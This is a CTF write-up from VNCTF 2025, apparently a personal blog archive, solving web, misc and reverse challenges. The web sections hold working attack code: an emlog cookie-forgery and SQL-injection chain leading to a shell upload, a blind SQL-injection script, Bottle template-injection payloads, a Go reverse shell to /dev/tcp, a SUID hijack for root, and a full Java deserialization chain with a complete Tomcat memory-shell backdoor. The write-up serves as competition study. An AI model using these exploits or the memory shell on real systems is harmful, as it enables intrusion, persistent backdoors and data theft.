赛事复盘

2025VNCTF

WEB ez emlog 猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。 一条人一只烟 一道web干一天 也是给我挖上0day了 拉源码做审计 跟一下,使用mt rand生成随机数 由于这两个都调用了getRandStr函数,分别查看调用 a…

WEB#

ez_emlog#

猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。

一条人一只烟 一道web干一天

也是给我挖上0day了

拉源码做审计

image-20250208164547850

跟一下,使用mt_rand生成随机数

image-20250208164602668

由于这两个都调用了getRandStr函数,分别查看调用

image-20250208165139326

account.php的logout接口设置了cookie,可以访问看一下

image-20250208165253362

c83d4f3bfbad7deb7f795e1d8e6ed7b
c83d4f3bfbad7deb7f795e1d8e6ed7b

果然返回了,那么就可以逆序getRandStr进行解密后补零进行seed爆破

mt_rand()函数的特性-MT19937

  • MT19937有624个内部状态
  • 每个状态是32位整数
  • 需要624个连续的输出才能完全确定内部状态

我们需要补32组0 0 0 0提供足够的状态信息

php
<?php
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$chars_length = strlen($chars) - 1;
$p = 'RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr';

for ($i = 0; $i < 128; $i++) {
    echo "0 ";
}

for ($i = 0; $i < strlen($p); $i++) {
    $number = strpos($chars, $p[$i]);
    echo "$number $number 0 $chars_length ";
}

image-20250208171304459

得到seed

image-20250208165953689

拿到种子第一件事就是伪造cookie

但是在loginauth.php中发现与用户名有关联

image-20250208170520901

image-20250208170612645

于是想到sql注入,将username部分进行报错注入(exp下面有

text
GET /admin/../ HTTP/1.1
Host: node.vnteam.cn:48595
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Cookie: EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1' and updatexml(1,concat(0x7e,(select(database())),0x7e),1) #|0|a916cc182f4f3d080acb6a0b356da6a7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.vnteam.cn:48595/admin/account.php?action=logout
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

956ca770bed18d7171fb2eb80452858
956ca770bed18d7171fb2eb80452858

中间靶机到期了

image-20250208155050122

image-20250208155205361

image-20250208155230657

image-20250208155346815

到这里停了,看到user表,可以停住进去查看一下

text
1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='emlog_user'),0x7e))#

然后就可以查看username

最终exp

php
<?php

$seed = 2430606281;
mt_srand($seed);
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
    $retStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}

$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;

$username = "1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),20,32) from emlog.emlog_user),0x7e),1) #";
$expiration = 0;
$data = $username . '|' . $expiration;

$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;

image-20250208160349190

得到username(一共33位,substr截断即可

text
1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm

伪造admin身份进后台

php
<?php

$seed = 2430606281;
mt_srand($seed);
$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
    $retStr .= substr($rand_string, mt_rand(0, strlen($rand_string) - 1), 1);
}

$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;

$username = "1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm";
$expiration = 0;
$data = $username . '|' . $expiration;

$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;

image-20250208161237958

然后就简单了,对着开发文档上传木马即可

emblog后台拿shell-CSDN博客

image-20250208161753904

image-20250208162459529

创建对应目录结构然后打包上传

image-20250208162526373

image-20250208162608905

image-20250208162738604

image-20250208162748410

奶龙回家#

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

时间盲注 过滤了sleep使用randomblob延时

过滤= 使用>和二分法进行注入

python
import requests
import time

url = 'http://node.vnteam.cn:44425/login'
flag = ''

for i in range(1, 500):
    low = 32
    high = 128
    mid = (low + high) // 2

    while low < high:
        time.sleep(0.2)
        payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)/*".format(i, chr(mid))
        # payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
        # payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
        payload = payload.replace(' ', '/**/')
        payload = payload.format(i, chr(mid))


        datas = {
            "username": "123",
            "password": payload
        }

        # print(datas)
        start_time = time.time()
        res = requests.post(url=url, json=datas)
        end_time = time.time()
        spend_time = end_time - start_time

        if spend_time >= 0.19:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2

    if mid == 32 or mid == 127:
        break

    flag = flag + chr(mid)
    print(flag)

print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

学生姓名登记系统#

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

python的单文件框架有Flask Bottle Falcon Sanic Tornado FastAPI等等

image-20250210183518890

经分析是一个bottle框

bottle框架可以任意执行单行python代码

image-20250210184147681

另外 字符串有长度限制 已知bottle上下文具有关联功能

直接

text
"""
%a=__builtins__
"""
{{a}}

查看函数发现open

image-20250211144516358

直接open会hacker,单引号绕过

text
"""
%a=__builtins__
%b='op''en'

"""
{{a[b]}}

拼接最终payload

text
"""
%a=__builtins__
%b='op''en'
%c='/flag'
"""
{{a[b](c).read()}}

官方wp

text
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subc
lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__global
s__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0
a{{x:=i("/flag")}}%0a{{y:=x.read()}}

思路大同小异

比如输入{{print(5)}},实际上5已经输入到控制台了 拼接{{a:=5}}%0a{{print(a)}}发现能读上下文,同理得到flag

image-20250211143330052

Gin#

go是世界上最好的语言

查看routes.go可以大致看出

普通用户注册后有个上传功能,admin有个eval路由,应该可以执行代码

image-20250211150840054

并且发现有一个jwt,可以注册个用户看看先

image-20250211150940710

注册一个用户后登录

image-20250211151437619

jwt解密

image-20250211151446374

然后可以看一下jwt相关逻辑

image-20250211151754391

将年份作为种子,生成0-999拼接上config.Key()

不过题目源码没给key

image-20250211152118466

上传任意文件,发现提供了预览和下载两种模式

image-20250211152233512

download发现任意文件下载

image-20250211152417415

直接读../config/key.go

image-20250211152550059

go
package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

抠出来得key

go
package main

import (
	"fmt"
	"math/rand"
)
func main() {
	rand.Seed(2025)
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
	fmt.Println(key)
}

image-20250211153820444

得到key

text
122r00t32l

重新加密

image-20250211160627885

得到

text
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkzNDQ5MjIsImlhdCI6MTczOTI1ODUyMn0.B9r2Fa74H1ENzpZbtpIehx7um0kKI1lSMix4g-RsqxY

image-20250211160646045

然后就可以看看有什么库可以命令执行的

image-20250211161056899

整个反弹shell代码

go
package main

import (
    "fmt"
    "github.com/PaulXu-cn/goeval"
)

func main() {
    cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i >& /dev/tcp/ip/7777 0>&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))", "os/exec", "fmt")
    fmt.Println(string(cmd))
}

image-20250211161845189

根目录上是假flag

image-20250211161911762

查看suid时发现又哥Cat很可疑 执行后回显/flag得内容 猜测执行的是cat /flag

image-20250211162033413

劫持cat即可获得root权限

image-20250211162441383

查看不再使用cat

image-20250211162536102

javaGuide#

java反序列化第一步(题目环境不出网)

不会java web 留个档

2025/2/25来擦屁股了

com.example.javaguide.controller.IndexController中发现反序列化路由

image-20250225105112708

com.example.javaguide.MyObjectInputStream

image-20250225105325272

继承了ObjectInputStream

重写了resolveClass添加了安全限制

image-20250225105705571

可以考虑二次反序列化绕过

原理为resolveClass只在第一次反序列化时被调用

第一次反序列化链子#

第一次反序列化的链子的目的是找到第二次反序列化的入口

fastjson反序列化有一条链子就是通过

text
BadAttributeValueExpException::readObject()->JSONObject::toString()

把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。

第二次反序列化链子#

接下来我们就是要找到一个类,并且满足:

  • get方法
  • get方法里面能够直接或间接调用readObject()

而这个类就是⽤SignedObject::getObject()

java
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.security.SignedObject;
import java.util.Base64;
import com.Memshell.tomcat.BehinderFilterShell2;

import static com.Utils.Util.*;

public class test {
    public static void main(String[] args) throws Exception {
        //生成一个templates
        byte[] bytes = ClassPool.getDefault().get(BehinderFilterShell2.class.getName()).toBytecode();
        TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

        //获取进行了动态代理的templatesImpl,保证触发getOutput
        Object template = getPOJONodeStableProxy(templates);

        //fastjson原生链
        Object fastjsonEventListenerList1 = getFastjsonEventListenerList(template);
        //二次反序列化
        SignedObject signedObject = second_serialize(fastjsonEventListenerList1);
        //fastjson原生链
        Object fastjsonEventListenerList2 = getFastjsonEventListenerList(signedObject);

        //base64加密输出
        String b64_payload = serialize(fastjsonEventListenerList2);
        System.out.println(b64_payload);

        //测试是否成功rce
        //byte[] decode = Base64.getDecoder().decode(b64_payload);
        //ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
        //myObjectInputStream.readObject();
    }
}

内存马

java
package com.Memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.reflect.ReflectionFactory;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Scanner;

public class BehinderFilterShell2 extends AbstractTranslet implements Filter {

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static Object getFieldValue(Object obj,String fieldname) throws Exception{
        Field field = getField(obj.getClass(), fieldname);
        Object o = field.get(obj);
        return o;
    }
    public BehinderFilterShell2() throws Exception {

        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources");
        StandardContext context = (StandardContext) resources.getContext();

        String filterName = "fffff";

        //构造FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");

        //构造FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilter(this);

        //通过反射机制获取构造器,然后创建对象
        ApplicationFilterConfig applicationFilterConfig = createWithConstructor(
                ApplicationFilterConfig.class, ApplicationFilterConfig.class,
                //形参类型
                new Class[]{Context.class, FilterDef.class},
                //实参
                new Object[]{context, filterDef}
        );

        //获取到context里的filterConfigs,然后将applicationFilterConfig加入
        HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs");
        filterConfigs.put(filterName,applicationFilterConfig);

        context.addFilterDef(filterDef);
        context.addFilterMap(filterMap);

    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        try {
            String arg0 = request.getParameter("cmd");
            if (arg0 != null) {
                PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }

                Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                chain.doFilter(request,response);
            }
        } catch (Exception var8) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

MISC#

VN_Lang#

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

010一看就有

Echo Flowers#

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44'/60'/0'/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

美亚杯后遗症。。

手机钱包通过助记词导入,不难想到输入法

echo_flowers-disk1.vmdk/分区2/android-7.1-r5/data/data/com.sohu.inputmethod.sogouoem/files/dict

image-20250211165836274

导出后strings大法

image-20250211170030152

bash
cd dict
❯ strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

bip39网站解密即可

image-20250211170635833

REVERSE#

Hook Fish#

钓到的鱼怎么跑了?

frida脚本发现是一串密文比较

c381d1ec53efc0f676b23a20901cf88
c381d1ec53efc0f676b23a20901cf88

主程序发现动态加载了hookfish.dex

0710b2c2761d954c92bfcb9d2100f6a
0710b2c2761d954c92bfcb9d2100f6a

下载后对应解密即可

32e6fe9cb18cb56805595e9fe88ccc3
32e6fe9cb18cb56805595e9fe88ccc3

查看归档
站内搜索

输入关键词,查找 39 篇记录。